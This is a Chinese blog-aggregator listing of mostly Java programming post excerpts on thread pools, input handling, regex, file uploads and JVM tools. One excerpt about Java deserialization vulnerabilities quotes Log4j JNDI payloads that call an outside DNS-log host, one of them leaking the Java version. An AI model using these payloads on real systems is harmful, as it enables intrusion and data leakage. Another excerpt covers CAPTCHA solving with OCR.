线程 方式java
java8学习
# java8安装与环境变量配置 ## choco ### [choco官网](https://chocolatey.org/install#individual "choco官网") ![image](https://img2023.cnblogs.com/blog/3258689/202309/ ......
12分钟从Executor自顶向下彻底搞懂线程池
### 前言 上篇文章 [13分钟聊聊并发包中常用同步组件并手写一个自定义同步组件](https://juejin.cn/post/7274475842998042665) 聊到并发包中常用的同步组件,并且还手把手实现了自定义的同步组件 本篇文章来聊聊并发包下的另一个核心-线程池 阅读本文大概12分 ......
使用 idea debug 远程 java 进程
1. 线上环境使用的 jdk 版本为 1.8,对应的 java 启动命令 java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=50050 -jar xxxx.jar 2. 注意服务器需要开放对应的 50050 tcp ......
Java学习_004 数据输入:案例2
需求:三个和尚的身高需要手动输入,请用程序实现这三个和尚的最高身高。 import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner sc = new Scanner(Sys ......
Java学习_003 数据输入
1.数据输入 1.2 Scanner使用的基本步骤 (1)导包 import java.util.Scanner; (2)创建对象 Scanner sc = new Scanner(System.in); (3)接受数据 int i = sc.nextInt(); 1.3 实例 import jav ......
Java学习002__案例1:两只老虎
需求:动物园里有两只老虎,已知两只老虎的体重分别为180kg、200kg,请用程序实现判断两只老虎体重是否相同。 1 public class Main { 2 public static void main(String[] args) { 3 int weight1 = 180; 4 int w ......
27 线程池
![](https://img2023.cnblogs.com/blog/3071897/202309/3071897-20230908200806558-207521436.png) ![](https://img2023.cnblogs.com/blog/3071897/202309/30718 ......
Java学习_001 常用DOS命令(仅做个人学习记录)
一些简单的DOS命令: 1.DIR 显示指定路径上的所有文件或目录的信息 格式:DIR [盘符:][路径][文件名][参数] 参数: /w:宽屏显示 /p:分页显示 /a:显示具有特殊属性的文件 /s:显示当前目录及其子目录下的所有文件 2.CD 进入指定目录 3.MD 建立文件 4.RD 删除文件 ......
WPF 使用矩形实现加载Loading动画的方式
首先,创建一个用户控件实现动画Loading的功能: <UserControl x:Class="K.Controls.Controls.LoadingControl" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" ......
C++多线程编程:包括多线程打印ABC、线程池实现等等
#include<iostream> #include<thread> #include<mutex> #include<condition_variable> std::condition_variable cond; std::mutex print_mutex; int flag = 0; v ......
所以说,java的“方法”有点儿类似于C++的"函数"吧
两个语言的区别就是,C++如果函数写在下面的话,要在上面注释:而java的方法若写在下面的话,要加static ,然后不管怎样,前面一定要加public ......
设置电脑文件的打开方式
# 设置电脑文件的打开方式 不知道怎么搞的,有几个 markdown 文件的默认打开方式了变成了 calibre 图书馆了 ## 1. 设置 ==> 应用 ==> 默认应用 ==> 按文件类型指定默认应用 ![](https://img2023.cnblogs.com/blog/2171496/20 ......
AnnotationTransactionAttributeSource is only available on Java 1.5 and higher和windows同时安装jdk7和jdk8
AnnotationTransactionAttributeSource is only available on Java 1.5 and higher和windows同时安装jdk7和jdk8 出错原因: 因为spring core org.springframework.core.JdkVer ......
Java泛型对象在http请求和响应对象中的封装
Java泛型对象在http请求和响应对象中的封装 public class MySystemBaseResVo<T> { //注意:类的后面需要带上<T>,否则数据无法封装 private String err_no; private String err_tips; private T data; ......
java 支持 超大上G,多附件上传技术
之前仿造uploadify写了一个HTML5版的文件上传插件,没看过的朋友可以点此先看一下~得到了不少朋友的好评,我自己也用在了项目中,不论是用户头像上传,还是各种媒体文件的上传,以及各种个性的业务需求,都能得到满足。小小开心了一把。 但无论插件再怎么灵活,也难以应付所有的需求,比如,你要上传一 ......
查看JAVA程序占用的资源
本文介绍两种java自带的工具,可以用于监控和分析Java应用程序的内存占用情况。 jconsole、jvisualvm。 1、jconsole工具:jconsole是Java自带的监控和管理工具,可用于监视Java应用程序的内存使用情况。以下是详细的步骤来使用jconsole工具: 打开命令行窗口 ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞,仅漏洞poc和原理,无分析过程。 # Log4j 条件:出网(因为需要请求jndi服务器) ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
JVM(JAVA Virtual Machine)Java虚拟机
JVM的跨平台性 一次编写,到处运行 JVM将字节码文件编译成对应操作系统的机器码 JVM的语言无关性 JVM的解释执行 字节码文件会按照顺序执行 ,字节码文件先被加载到jvm中,执行引擎根据字节码指令逐行解释成本地机器码 JIT——即时编译器 逐行解释代码——运行速度比较慢 jvm还有一种另外的情 ......
java报错could not open jvm.cfg
查看path环境变量配置: 1、删除C:\Program Files (x86)\Common Files\Oracle\Java\javapath 2、或者将新配置的JDK放在上面这个配置的前面 修改后保存,在命令行窗口运行 java -version 显示版本号即说明成功! ......
java 支持 超大上G,多附件上传示例解析
在Web应用系统开发中,文件上传和下载功能是非常常用的功能,今天来讲一下JavaWeb中的文件上传和下载功能的实现。 先说下要求: PC端全平台支持,要求支持Windows,Mac,Linux 支持所有浏览器。 支持文件批量上传 支持文件夹上传,且要求在服务端保留层级结构。文件夹数量要求支持到1 ......
java 支持 超大上G,多附件上传示例
1、介绍enctype enctype 属性规定发送到服务器之前应该如何对表单数据进行编码。 enctype作用是告知服务器请求正文的MIME类型(请求消息头content-type的作用一样) 1、1 enctype的取值有三种 值 描述 application/x-www-form-urle ......
正则相关校验方式
"^//d+$" //非负整数(正整数 + 0) "^[0-9]*[1-9][0-9]*$" //正整数 "^((-//d+)|(0+))$" //非正整数(负整数 + 0) "^-[0-9]*[1-9][0-9]*$" //负整数 "^-?//d+$" //整数 "^//d+(//.//d+)?$ ......
纯java 实现定时任务的两种方式
1.情景展示 在实际项目开发过程中,往往会存在这样的需求: 定时执行某个任务,如何实现? 2.具体分析 定时任务,其实就是定时调用。 在代码中,我们可以通过定时运行某个类的某个方法来实现。 具体实现方式,有两种: 一种是通过java实现。 另一种是借助spring来实现。 本文只说java实现方式。 ......
25 线程通信:生产者消费者问题
![](https://img2023.cnblogs.com/blog/3071897/202309/3071897-20230908153823735-1927909232.png) ![](https://img2023.cnblogs.com/blog/3071897/202309/3071 ......
java正则表达式(一)
转: https://www.cnblogs.com/-w-k-/p/16040896.html 一、校验数字的表达式 1 数字:^[0-9]*$ 2 n位的数字:^\d{n}$ 3 至少n位的数字:^\d{n,}$ 4 m-n位的数字:^\d{m,n}$ 5 零和非零开头的数字:^(0|[1-9] ......
java 支持 超大上G,多附件上传实例
这里只写后端的代码,基本的思想就是,前端将文件分片,然后每次访问上传接口的时候,向后端传入参数:当前为第几块文件,和分片总数 下面直接贴代码吧,一些难懂的我大部分都加上注释了: 上传文件实体类: 看得出来,实体类中已经有很多我们需要的功能了,还有实用的属性。如MD5秒传的信息。 public c ......
MFT在脚本自动传输方面优于脚本的17种方式
文件传输对于许多业务流程至关重要,它为贸易合作伙伴提供了一种直接的方式来共享关键信息。 但是,文件传输中涉及的许多任务是繁琐且重复的。当今许多系统管理员使用脚本来自动化文件传输过程,例如FTP上传或下载,然而脚本并不是您唯一的选择。 在本文中,我们将脚本与其他选项(可控文件传输,即Managed F ......
selenium 解析验证码(普通的字符数字的验证码),解决方式:先将验证码保存为图片,然后使用ddddocr解析图片为验证码的字符串
from selenium import webdriver from selenium.webdriver.common.by import By from PIL import Image from io import BytesIO import pytesseract import time ......
Altium Designer AD20 AD21 AD22版本中焊盘走线引出方式别扭的设置方法
在学习AD22,发现他走线到焊盘总是特殊角度接入焊盘,如下图,我们想走成图1,但是总会总成图2,怎么改你也改不过来,除非你先从焊盘走一截线. 图1 图2 解决的方法如下: 选项 -> System -> General -> 右下角的 Advanced ,找到 Legacy.PCB.Internal ......
关于SpringBoot 启动失败 Invocation of init method failed; nested exception is java.lang.IllegalStateException: Ambiguous mapping. 的问题解析
Application run failed org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'requestMappingHandlerMapping' defined i ......